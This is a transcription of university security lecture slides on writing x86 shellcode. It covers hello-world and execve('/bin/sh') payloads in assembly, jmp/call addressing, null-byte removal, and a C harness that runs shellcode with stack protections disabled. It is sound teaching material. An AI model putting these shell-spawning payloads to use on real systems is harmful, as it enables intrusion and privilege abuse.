CSC 405 Computer Security Shellcode

Similar documents
Control Hijacking Attacks

Università Ca Foscari Venezia

Shell Code For Beginners

Buffer overflow is still one of the most common vulnerabilities being discovered and exploited in commodity software.

CNIT 127: Exploit Development. Ch 3: Shellcode. Updated

Lecture 9: Buffer Overflow* CS 392/6813: Computer Security Fall Nitesh Saxena

Is stack overflow still a problem?

Lecture 6: Buffer Overflow. CS 436/636/736 Spring Nitesh Saxena

Foundations of Network and Computer Security

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP

This is an example C code used to try out our codes, there several ways to write this but they works out all the same.

Sandwiches for everyone

Shellcode. Compass Security Schweiz AG Werkstrasse 20 Postfach 2038 CH-8645 Jona. Tel Fax

Program Exploitation Intro

Foundations of Network and Computer Security

System calls and assembler

Buffer Overflow Vulnerability

Lecture 04 Control Flow II. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422

ISA564 SECURITY LAB. Shellcode. George Mason University

Machine Language, Assemblers and Linkers"

Foundations of Network and Computer Security

Architecture-level Security Vulnerabilities

Practical Malware Analysis

Homework. In-line Assembly Code Machine Language Program Efficiency Tricks Reading PAL, pp 3-6, Practice Exam 1

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing

War Industries Presents: An Introduction to Programming for Hackers Part III - Advanced Variables & Flow Control.

COMP 2355 Introduction to Systems Programming

Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through to

Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows)

COMP 3704 Computer Security

Secure Programming Lecture 4: Memory Corruption II (Stack & Heap Overflows)

Overview REWARDS TIE HOWARD Summary CS 6V Data Structure Reverse Engineering. Zhiqiang Lin

buffer overflow exploitation

CPS104 Recitation: Assembly Programming

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing

Advanced Buffer Overflow

Buffer overflows & friends CS642: Computer Security

1 Recommended Readings

CMSC 313 Lecture 12 [draft] How C functions pass parameters

X86 Review Process Layout, ISA, etc. CS642: Computer Security. Drew Davidson

CS4264 Programming Assignment 1 Buffer Overflow Vulnerability Due 02/21/2018 at 5:00 PM EST Submit through CANVAS

2 Resources Required. 3 Assignment Tasks. 3.1 Initial setup

Topics. What is a Buffer Overflow? Buffer Overflows

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40

Buffer Overflow Vulnerability Lab

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows)

238P: Operating Systems. Lecture 7: Basic Architecture of a Program. Anton Burtsev January, 2018

The Geometry of Innocent Flesh on the Bone

Linux TCP Bind Shell from Scratch with Intel x86 Assembly

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated

1 /* file cpuid2.s */ 4.asciz "The processor Vendor ID is %s \n" 5.section.bss. 6.lcomm buffer, section.text. 8.globl _start.

Turning C into Object Code Code in files p1.c p2.c Compile with command: gcc -O p1.c p2.c -o p Use optimizations (-O) Put resulting binary in file p

CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 21: Generating Pentium Code 10 March 08

Lecture 2 Assembly Language

Architecture-level Security Vulnerabilities. Julian Stecklina

CS642: Computer Security

CMSC 313 COMPUTER ORGANIZATION & ASSEMBLY LANGUAGE PROGRAMMING PREVIEW SLIDES 16, SPRING 2013

ISA 564, Laboratory I: Buffer Overflows

Buffer Overflow Attack

Advanced Buffer Overflow

x86 assembly CS449 Fall 2017

1 Lab Overview. 2 Resources Required. CSC 666 Lab #11 Buffer Overflow November 29, 2012

Roadmap: Security in the software lifecycle. Memory corruption vulnerabilities

Lab 3. The Art of Assembly Language (II)

Buffer overflows & friends CS642: Computer Security

CMPSC 497 Buffer Overflow Vulnerabilities

why we shouldn t use assembly compilers generate pre8y fast, efficient code tedious, easy to screw up not portable

CSE 127 Computer Security

CS356: Discussion #8 Buffer-Overflow Attacks. Marco Paolieri

CSE 127 Computer Security

Topics. CS429: Computer Organization and Architecture. File Inclusion. A Simple C Program. Intro to C

Return-orientated Programming

CSE 127 Computer Security

Lab 2: Buffer Overflows

CMSC 313 Lecture 12. Project 3 Questions. How C functions pass parameters. UMBC, CMSC313, Richard Chang

Computer Architecture and Assembly Language. Practical Session 5

CS429: Computer Organization and Architecture

Lecture 08 Control-flow Hijacking Defenses

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks

Machine Programming 1: Introduction

SOEN228, Winter Revision 1.2 Date: October 25,

CS527 Software Security

Assembly Programmer s View Lecture 4A Machine-Level Programming I: Introduction

CSE351 Autumn 2012 Midterm Exam (5 Nov 2012)

Project 1 Notes and Demo

Procedure Calls. Young W. Lim Mon. Young W. Lim Procedure Calls Mon 1 / 29

CS165 Computer Security. Understanding low-level program execution Oct 1 st, 2015

Secure Systems Engineering

mith College Computer Science CSC231-Assembly Fall 2017 Week #2 Dominique Thiébaut

Return oriented programming

Buffer-Overflow Attacks on the Stack

Assembly level Programming. 198:211 Computer Architecture. (recall) Von Neumann Architecture. Simplified hardware view. Lecture 10 Fall 2012

Lab 10: Introduction to x86 Assembly

Exploits and gdb. Tutorial 5

administrivia today start assembly probably won t finish all these slides Assignment 4 due tomorrow any questions?

Buffer Overflow Vulnerability Lab

Buffer Overflow. An Introduction

Intel assembly language using gcc

Instruction Set Architecture

Function Call Convention

Transcription:

CSC 405 Computer Security Shellcode Alexandros Kapravelos akaprav@ncsu.edu

Attack plan Attack code Vulnerable code xor ebx, ebx xor eax, eax mov ebx,edi mov eax,edx sub eax,0x388 Vulnerable code xor ebx, ebx xor eax, eax mov ebx,edi mov eax,edx Attack code sub eax,0x388 cmp eax,0x3 cmp eax,0x3 je 402aef je 402aef sub eax,0x1 sub eax,0x1 je 402aca je 402aca

Why can t we compile our attack into a binary and use it?

ELF 101

section.text _start: global _start mov ebx, 42 ; first function argument mov eax, 1 ; opcode for syscall int 80h ; syscall interrupt mini $ nasm -f elf32 mini.asm $ ld -m elf_i386 mini.o $./a.out $ echo $? $ 42

Syntax AT&T syntax mov $42, %ebx mnemonic source, destination Intel syntax mov ebx, 42 mnemonic destination, source

.text.global main main: mov $42, %ebx mov $0x1, %eax int $0x80 We will use the AT&T syntax $ gcc -m32 mini.s -o mini $./mini $ echo $? 42

Disassembling a binary $ objdump -d./mini mini: file format elf32-i386 Disassembly of section.text: 08048060 <_start>: 8048060: bb 2a 00 00 00 mov $0x2a,%ebx 8048065: b8 01 00 00 00 mov $0x1,%eax 804806a: cd 80 int $0x80 The executable bytes are: bb 2a 00 00 00 b8 01 00 00 00 cd 80

Shellcode The set of instructions injected and then executed by an exploited program usually, a shell should be started for remote exploits - input/output redirection via socket use system call (execve) to spawn shell Shellcode can do practically anything (given enough permissions) create a new user change a user password modify the.rhost file bind a shell to a port (remote shell) open a connection to the attacker machine

HelloWorld.data msg:.string "Hello, world!\n".text.global _start _start: mov $4, %eax # opcode for write system call mov $1, %ebx # 1st arg, fd = 1 mov $msg, %ecx # 2nd arg, msg mov $14, %edx # 3rd arg, len int $0x80 # system call interrupt mov $1, %eax mov $0, %ebx int $0x80 $./helloworld Hello, world! # opcode for exit system call # 1st arg, exit(0) # system call interrupt b804000000bb01000000b9a4900408ba0e000000cd80b801000000bb00000000cd80

How do we test a shellcode?

Testing shellcode #include <stdio.h> #include <string.h> unsigned char shellcode[] = "\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\xa4\x90\x04\x08\xba\x0e\x00\x00\x00\ xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"; int main() { } int (*ret)() = (int(*)())shellcode; ret(); $ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie -m32 $./shelltest [ \

HelloWorld bug $ objdump -d helloworld helloworld: file format elf32-i386 Disassembly of section.text: 08048080 <_start>: 8048080: b8 04 00 00 00 mov $0x4,%eax 8048085: bb 01 00 00 00 mov $0x1,%ebx 804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx 804808f: ba 0e 00 00 00 mov $0xe,%edx 8048094: cd 80 int $0x80 8048096: b8 01 00 00 00 mov $0x1,%eax 804809b: bb 00 00 00 00 mov $0x0,%ebx 80480a0: cd 80 int $0x80

HelloWorld bug $ objdump -d helloworld helloworld: file format elf32-i386 Disassembly of section.text: 08048080 <_start>: 8048080: b8 04 00 00 00 mov $0x4,%eax 8048085: bb 01 00 00 00 mov $0x1,%ebx 804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx 804808f: ba 0e 00 00 00 mov $0xe,%edx 8048094: cd 80 int $0x80 8048096: b8 01 00 00 00 mov $0x1,%eax 804809b: bb 00 00 00 00 mov $0x0,%ebx 80480a0: cd 80 int $0x80

Relative addressing Problem - position of code in memory is unknown How to determine address of string We can make use of instructions using relative addressing call instruction saves IP on the stack and jumps Idea jmp instruction at beginning of shellcode to call instruction call instruction right before Hello, world string call jumps back to first instruction after jump now address of "Hello, world!" is on the stack

Relative addressing technique jmp_addr call_addr jmp call_addr popl %esi Shellcode call jmp_addr + 1 %esi holds address of string Hello, world! "Hello, world!"

HelloWorld v2.text.global _start _start: jmp saveme shellcode: pop %esi mov $4, %eax # opcode for write system call mov $1, %ebx # 1st arg, fd = 1 mov %esi, %ecx mov $14, %edx # 3rd arg, len int $0x80 # system call interrupt mov $1, %eax # opcode for exit system call mov $0, %ebx # 1st arg, exit(0) int $0x80 # system call interrupt saveme: call shellcode.string "Hello, world!\n" ; eb 20 5e b8 04 00 00 00 bb 01 00 00 00 89 f1 ba 0e 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 cd 80 e8 db ff ff ff 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 21 0a

#include<stdio.h> #include<string.h> Testing the shellcode (again) unsigned char code[] = "\xeb\x20\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xba\x0e\x00\x00\x00\xcd\x80\xb8\x0 1\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdb\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6 f\x72\x6c\x64\x21\x0a"; int main() { } int (*ret)() = (int(*)())code; ret(); $ gcc shelltest.c -o shelltest -fno-stack-protector -z execstack -no-pie -m32 $./shelltest Hello, world! $ SUCCESS

Shellcode #include <stdlib.h> void main(int argc, char **argv) { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = 0; execve(shell[0], &shell[0], 0); exit(0); } int execve(char *file, char *argv[], char *env[]) file: name of program to be executed /bin/sh argv: address of null-terminated argument array { /bin/sh, NULL } env: address of null-terminated environment array NULL (0)

Shellcode int execve(char *file, char *argv[], char *env[]) (gdb) disas execve... mov mov mov mov int... 0x8(%ebp),%ebx 0xc(%ebp),%ecx 0x10(%ebp),%edx $0xb,%eax $0x80 copy *file to ebx copy *argv[] to ecx copy *env[] to edx put the system call number in eax (execve = 0xb) invoke the syscall

Shellcode Spawning the shell in assembly 1. move system call number (0x0b) into %eax 2. move address of string /bin/sh into %ebx 3. move address of the address of /bin/sh into %ecx (using lea) 4. move address of null word into %edx 5. execute the interrupt 0x80 instruction

Shellcode file parameter we need the null terminated string /bin/sh somewhere in memory argv parameter we need the address of the string /bin/sh somewhere in memory, followed by a NULL word env parameter we need a NULL word somewhere in memory we will reuse the null pointer at the end of argv 30

Shellcode execve arguments located at address addr /bin/sh0addr0000 file -- null-terminated string env -- pointer to null-word arg -- pointer to address of null-terminated string

The Shellcode (almost ready) jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes.string \"/bin/sh\" # 8 bytes setup execve() exit() setup

Copying shellcode Shellcode is usually copied into a string buffer Problem any null byte would stop copying null bytes must be eliminated 8048057: b8 04 00 00 00 mov $0x4,%eax 8048057: b0 04 mov $0x4,%al mov 0x0, reg mov 0x1, reg -> xor reg, reg -> xor reg, reg; inc reg

Shellcode Concept of user identifiers (uids) real user id ID of process owner effective user id ID used for permission checks saved user id used to temporarily drop and restore privileges Problem exploited program could have temporarily dropped privileges Shellcode has to enable privileges again (using setuid) Setuid Demystified: Hao Chen, David Wagner, and Drew Dean (optional)

More resources (optional) The Shellcoder's Handbook by Jack Koziol et al Hacking - The Art of Exploitation by Jon Erickson